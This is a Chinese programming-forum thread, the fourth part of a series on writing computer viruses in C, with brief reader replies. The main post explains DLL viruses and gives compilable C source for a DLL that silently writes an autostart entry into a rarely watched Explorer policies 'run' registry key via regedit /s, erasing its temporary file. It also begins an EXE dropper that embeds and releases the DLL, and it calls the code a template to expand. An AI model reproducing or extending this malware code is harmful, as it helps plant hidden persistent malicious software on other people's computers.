| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 9641 人关注过本帖, 20 人收藏
标题:[原创]用C语言写病毒(4)
只看楼主 加入收藏
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
结帖率:100%
收藏(20)
 问题点数:0 回复次数:47 
[原创]用C语言写病毒(4)

前几期链接:
第一期,最简单的exe病毒(TC编译通过):http://bbs.bc-cn.net/viewthread.php?tid=142740&star=at#
第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过):http://bbs.bc-cn.net/viewthread.php?tid=148427&star=at#
第三期,编程技术和病毒原理(1)--注册表:http://bbs.bc-cn.net/viewthread.php?tid=148947&star=at#
-------------------------------------------------------------------------------------------------

首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表,

因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术.

而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒

必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!

--------------------------------------------------------------------------------------------------
这次讲一下DLL病毒:
随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过

特别的方法,让系统文件Rundll.exe \ Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe等常用软件进程中,达到隐蔽的目的.
DLL病毒的编写(rundll32.exe调用法)
同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明

函数,dllmain.c中编写函数,函数的内容就是病毒代码.
最简单的DLL病毒例子:
dllmain.c内容:

/*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍
具体扩充代码示例可以参照<用C语言写病毒(2)>*/
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#include "dll.h"
#include <stdio.h>
#include <stdlib.h>

DLLIMPORT void start ()
{
FILE *output;
/*
注册[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run]
这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不

多,十分隐蔽
*/
if((output=fopen("$","w"))!=NULL)
{
fprintf(output,"REGEDIT4\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\run]

\n\"Userinit\"=\"rundll32.exe C:\\\\WINDOWS\\\\system32\\\\winsys.dll start ()\"");
fclose(output);
spawnl(0,"c:\\windows\\regedit.exe"," /s $",NULL);
remove("$");
}
}
dll.h内容:
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else
# define DLLIMPORT __declspec (dllimport)
#endif

DLLIMPORT void start (void);

#endif /* _DLL_H_ */
这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于

c:\windows\system32\winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般

的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:
/*释放上面的简单dll病毒体的例子的exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略... 具体代码下载(DLL代码+EXE释放代码):

pMO7uYrI.rar (26.3 KB) [原创]用C语言写病毒(4)


[此贴子已经被作者于2007-7-21 8:13:30编辑过]

搜索更多相关主题的帖子: C语言 
2007-07-20 16:22
星星鱼虾蟹
Rank: 1
等 级:新手上路
帖 子:191
专家分:0
注 册:2007-6-2
收藏
得分:0 
占个位先~~~等了好久啦~~~顶

2007-07-20 16:25
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 
其实病毒的代码没有什么神秘的,只是用一些平常不用的函数,日常不用的操作

My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-07-20 16:32
星星鱼虾蟹
Rank: 1
等 级:新手上路
帖 子:191
专家分:0
注 册:2007-6-2
收藏
得分:0 
看了感觉不错,就是不太明白那个DLL字符串的内容.不会是和汇编有什么关系的吧,好复杂哦.....

2007-07-20 16:39
星星鱼虾蟹
Rank: 1
等 级:新手上路
帖 子:191
专家分:0
注 册:2007-6-2
收藏
得分:0 
以下是引用卧龙孔明在2007-7-20 16:32:07的发言:
其实病毒的代码没有什么神秘的,只是用一些平常不用的函数,日常不用的操作

嗯,正如切菜的刀用来杀人


2007-07-20 16:41
ludingo1211
Rank: 1
等 级:新手上路
帖 子:35
专家分:0
注 册:2007-5-28
收藏
得分:0 

先顶下。


云带来了风,不,是风带去了云。QQ群6438659 请你不要一时冲动,对c不感兴趣的,请不要加入。
2007-07-20 19:24
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
程序里是c:\windows\…………
要是2000 或 nt4.0之类的 怎么办?
是不是要用个取系统目录的api?
2007-07-20 21:58
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
将那个dll用数组放是不是有点大 用exe的自定义资源比较好吧 是不是呀?
2007-07-20 22:04
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用星星鱼虾蟹在2007-7-20 16:39:07的发言:
看了感觉不错,就是不太明白那个DLL字符串的内容.不会是和汇编有什么关系的吧,好复杂哦.....

你用16进制编辑器打开那个dll看看

2007-07-20 22:07
killer_l
Rank: 2
等 级:新手上路
威 望:3
帖 子:1139
专家分:0
注 册:2007-5-25
收藏
得分:0 

第四期,先收下


2007-07-21 18:51
快速回复:[原创]用C语言写病毒(4)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.018699 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved